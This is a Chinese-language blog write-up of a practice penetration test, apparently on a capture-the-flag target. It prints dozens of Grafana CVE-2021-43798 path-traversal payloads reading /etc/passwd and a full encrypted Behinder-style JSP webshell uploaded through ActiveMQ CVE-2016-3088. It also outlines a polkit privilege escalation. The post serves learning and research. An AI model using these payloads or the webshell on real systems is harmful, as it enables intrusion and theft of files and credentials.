前言

學(xué)習(xí)了一兩個(gè)月的安全，為了對(duì)自己的一個(gè)學(xué)習(xí)水平做一個(gè)總結(jié)，所以我特地找來(lái)一個(gè)網(wǎng)站來(lái)進(jìn)行一次滲透實(shí)戰(zhàn)。

信息收集

這次的網(wǎng)站只有一個(gè)ip地址，但是發(fā)現(xiàn)直接訪問(wèn)這個(gè)ip地址返回的是連接超時(shí)無(wú)法訪問(wèn)

?

所以這時(shí)候就需要我們就得進(jìn)行一個(gè)信息收集找到跟著ip有關(guān)的網(wǎng)站進(jìn)行一個(gè)滲透測(cè)試。

通常信息收集的第一步是進(jìn)行子域名收集，但由于本次我測(cè)試的網(wǎng)站直接就是一個(gè)真實(shí)ip，所以就直接從搜索這個(gè)ip是否有相關(guān)端口開(kāi)發(fā)并進(jìn)行利用。

通常進(jìn)行端口掃描是使用nmap進(jìn)行掃描，但我這里直接使用fofa進(jìn)行資產(chǎn)收集

?

通過(guò)fofa搜集我發(fā)現(xiàn)了關(guān)于這個(gè)ip的端口開(kāi)放了以下端口：3000、8888、8161、9200、8080、8001六個(gè)端口。

通過(guò)測(cè)試發(fā)現(xiàn)只有3000、8888、8161三個(gè)端口可以正常訪問(wèn)，所以我們就可以從這3個(gè)端口下手。

這三個(gè)端口訪問(wèn)內(nèi)容如下

3000端口

8888端口

8161端口

搜集完他們的端口后我先使用dirsearch后臺(tái)掃描工具對(duì)這三個(gè)網(wǎng)站進(jìn)行一個(gè)掃描，看看是否有敏感文件。

掃描后發(fā)現(xiàn)8888端口有3個(gè)可疑敏感文件

掃描后發(fā)現(xiàn)3000端口有6個(gè)可疑敏感文件

掃描后發(fā)現(xiàn)8161端口有3個(gè)可疑敏感文件

掃描完后臺(tái)后我們查看網(wǎng)頁(yè)內(nèi)容可以發(fā)現(xiàn)，3個(gè)網(wǎng)站分別是使用3個(gè)不同的中間件來(lái)搭建的網(wǎng)站，所以我們可以查看網(wǎng)站版本并上網(wǎng)查詢此版本是否有漏洞可以利用。

百度后發(fā)現(xiàn)

3000端口的Grafana網(wǎng)站下方版本為8.2.5所以極可能存在任意文件讀取漏洞

通過(guò)輸入錯(cuò)誤文件目錄我們發(fā)現(xiàn)可以獲取8888端口的nginx的版本為1.21.5

百度后發(fā)現(xiàn)這版本沒(méi)有什么漏洞

而端口8161的apache網(wǎng)站主頁(yè)并未發(fā)現(xiàn)網(wǎng)站版本，但是有一個(gè)登陸界面，我們可能可以嘗試使用字典爆破等方法嘗試?yán)@過(guò)。

漏洞驗(yàn)證

首先對(duì)上述后臺(tái)掃描的文件進(jìn)行一個(gè)測(cè)試發(fā)現(xiàn)

3000端口

都沒(méi)有可以利用的文件，所以只能從相關(guān)版本漏洞來(lái)測(cè)試了。

通過(guò)測(cè)試8161端口只發(fā)現(xiàn)一個(gè)302跳轉(zhuǎn)頁(yè)面提示

發(fā)現(xiàn)暫時(shí)也沒(méi)有可以利用的地方，所以只能?chē)L試能否登陸進(jìn)后臺(tái)下手了。

通過(guò)測(cè)試8888端口發(fā)現(xiàn)www.root.7z這個(gè)壓縮包下載下來(lái)后打開(kāi)發(fā)現(xiàn)

這明顯是一個(gè)base64的編碼，所以我們需要對(duì)他進(jìn)行一個(gè)解碼

通過(guò)在這得到了一個(gè)賬戶和密碼，我立馬聯(lián)想是否可以登錄到apache的網(wǎng)站

輸入后發(fā)現(xiàn)果然可以登錄上apache網(wǎng)站

登錄后發(fā)現(xiàn)告訴了我們apache的版本，所以我們可以去查找此版本的相關(guān)漏洞進(jìn)行驗(yàn)證

通過(guò)百度發(fā)現(xiàn)此版本可能存在任意文件上傳漏洞

漏洞攻擊

Grafana任意文件讀取漏洞（CVE-2021-43798）

一、漏洞描述

Grafana是一個(gè)跨平臺(tái)、開(kāi)源的數(shù)據(jù)可視化網(wǎng)絡(luò)應(yīng)用程序平臺(tái)。用戶配置連接的數(shù)據(jù)源之后，Grafana可以在網(wǎng)絡(luò)瀏覽器里顯示數(shù)據(jù)圖表和警告。

二、漏洞影響范圍

影響版本：

Grafana 8.0.0 - 8.3.0

安全版本：

Grafana 8.3.1, 8.2.7, 8.1.8, 8.0.7

Payload：

/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd

通過(guò)burpsuit抓包修改進(jìn)行攻擊

可以通過(guò)腳本來(lái)批量驗(yàn)證POC

最后發(fā)現(xiàn)flag

ActiveMQ 任意文件上傳漏洞（CVE-2016-3088）

一、漏洞描述

該漏洞出現(xiàn)在fileserver應(yīng)用中,漏洞原理:ActiveMQ中的fileserver服務(wù)允許用戶通過(guò)HTTP PUT方法上傳文件到指定目錄。Fileserver支持寫(xiě)入文件(不解析jsp),但是支持移動(dòng)文件(Move)我們可以將jsp的文件PUT到Fileserver下,然后再通過(guò)Move指令移動(dòng)到可執(zhí)行目錄下訪問(wèn)。

二、漏洞影響范圍

Apache ActiveMQ 5.0.0 - 5.13.2

三、漏洞利用：

文件寫(xiě)入有幾種利用方法：

1.寫(xiě)入webshell

2.寫(xiě)入cron 或ssh key 等文件

3.寫(xiě)入jar 或 jetty.xml 等庫(kù)和配置文件

寫(xiě)入webshell的好處是門(mén)檻低，方便，但是fileserver不解析jsp，admin和api兩個(gè)應(yīng)用都需要登錄才能訪問(wèn)，所以有點(diǎn)雞肋，寫(xiě)入cron 和ssh key 好處是直接反彈拿shell，也比較方便，缺點(diǎn)是需要root權(quán)限，寫(xiě)入jar，稍微麻煩點(diǎn)（需要jar后門(mén) ），寫(xiě)入xml配置文件，這個(gè)方法比較靠譜，但有個(gè)雞肋點(diǎn)是，我們需要activemq的絕對(duì)路徑。

寫(xiě)入webshell

EXP：

?
class?U?extends?ClassLoader{U(ClassLoader?c){super(c);}public
?Class?g(byte?[]b){return?super.defineClass(b,0,b.length);}}String
?k="e45e329feb5d925b";session.putValue("u",k);Cipher?
c=Cipher.getInstance("AES");c.init(2,new?SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new?
U(this.getClass().getClassLoader()).g(c.doFinal(new
?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

寫(xiě)入webshell需要寫(xiě)在admin或api應(yīng)用中，而這倆應(yīng)用都需要登錄才能訪問(wèn)。我們之前已經(jīng)登錄過(guò)了，訪問(wèn)admin/test/systemProperties.jsp可以查看ActiveMQ的絕對(duì)路徑

然后通過(guò)burpsuit抓包構(gòu)造PUT請(qǐng)求，當(dāng)返回204狀態(tài)碼則說(shuō)明文件上傳成功

訪問(wèn)fileserver/shell.jsp則會(huì)將我們寫(xiě)入的shell展示出來(lái)，如下圖所示

MOVE請(qǐng)求，將該文件移動(dòng)到/admin/中,讓腳本進(jìn)行解析，顯示204說(shuō)明上傳成功

上傳完后通過(guò)burpsuit抓取一下GET包請(qǐng)求頭

使用冰蝎進(jìn)行webshell連接

連接后通過(guò)ls命令查看了當(dāng)前目錄文件，可以發(fā)現(xiàn)目錄下有CVE-2021-4034的相關(guān)文件，通過(guò)whoami和id命令發(fā)現(xiàn)只有user權(quán)限沒(méi)有root權(quán)限

通過(guò)百度發(fā)現(xiàn)CVE-2021-4034是一個(gè)權(quán)限提升的漏洞，所以我們可以嘗試通過(guò)這個(gè)漏洞進(jìn)行一個(gè)權(quán)限提升。

權(quán)限提升

CVE-2021-4034 Linux polkit 提權(quán)漏洞

一、漏洞描述

Polkit 在系統(tǒng)層級(jí)進(jìn)行權(quán)限控制，提供了一個(gè)低優(yōu)先級(jí)進(jìn)程和高優(yōu)先級(jí)進(jìn)程進(jìn)行通訊的系統(tǒng)。和 sudo 等程序不同，Polkit 并沒(méi)有賦予進(jìn)程完全的 root 權(quán)限，而是通過(guò)一個(gè)集中的策略系統(tǒng)進(jìn)行更精細(xì)的授權(quán)。

二、影響版本

目前在CVE官網(wǎng)上沒(méi)有列舉詳細(xì)的影響版本范圍，升級(jí)到最新版本即可。當(dāng)前最新版本 polkit-0.112-26.el7_9.1

三、漏洞利用

1.下載EXP，地址：https://github.com/berdav/CVE-2021-4034

2.在下載的文件夾直接make編譯

3.執(zhí)行./cve-2021-4034

4.提權(quán)成功

成功效果圖

但是我在使用的冰蝎時(shí)發(fā)現(xiàn)目錄中的EXP不完整，無(wú)法進(jìn)行一個(gè)漏洞利用，而且gcc命令未安裝，但是安裝相關(guān)命令需要root權(quán)限，所以導(dǎo)致沒(méi)法提升至root權(quán)限。暫時(shí)還沒(méi)找到其他方法進(jìn)行權(quán)限提升，若后續(xù)找到方法會(huì)重新更新。

總結(jié)

通過(guò)這一次滲透測(cè)試的實(shí)戰(zhàn)經(jīng)歷，讓我對(duì)自己的信息收集和漏洞利用方面的思路得到了提升，但在權(quán)限提升，內(nèi)網(wǎng)滲透方面學(xué)習(xí)的比較淺，還需要繼續(xù)學(xué)習(xí)。

參考文獻(xiàn)

ActiveMQ 任意文件上傳漏洞（CVE-2016-3088）-https://blog.csdn.net/weixin_45146120/article/details/106592766

CVE-2021-4034 Linux polkit 提權(quán)漏洞復(fù)現(xiàn)與修復(fù) -https://blog.csdn.net/travelnight/article/details/123640942

Grafana任意文件讀取漏洞(CVE-2021-43798) -https://blog.csdn.net/weixin_44522540/article/details/122236791

編輯：黃飛

?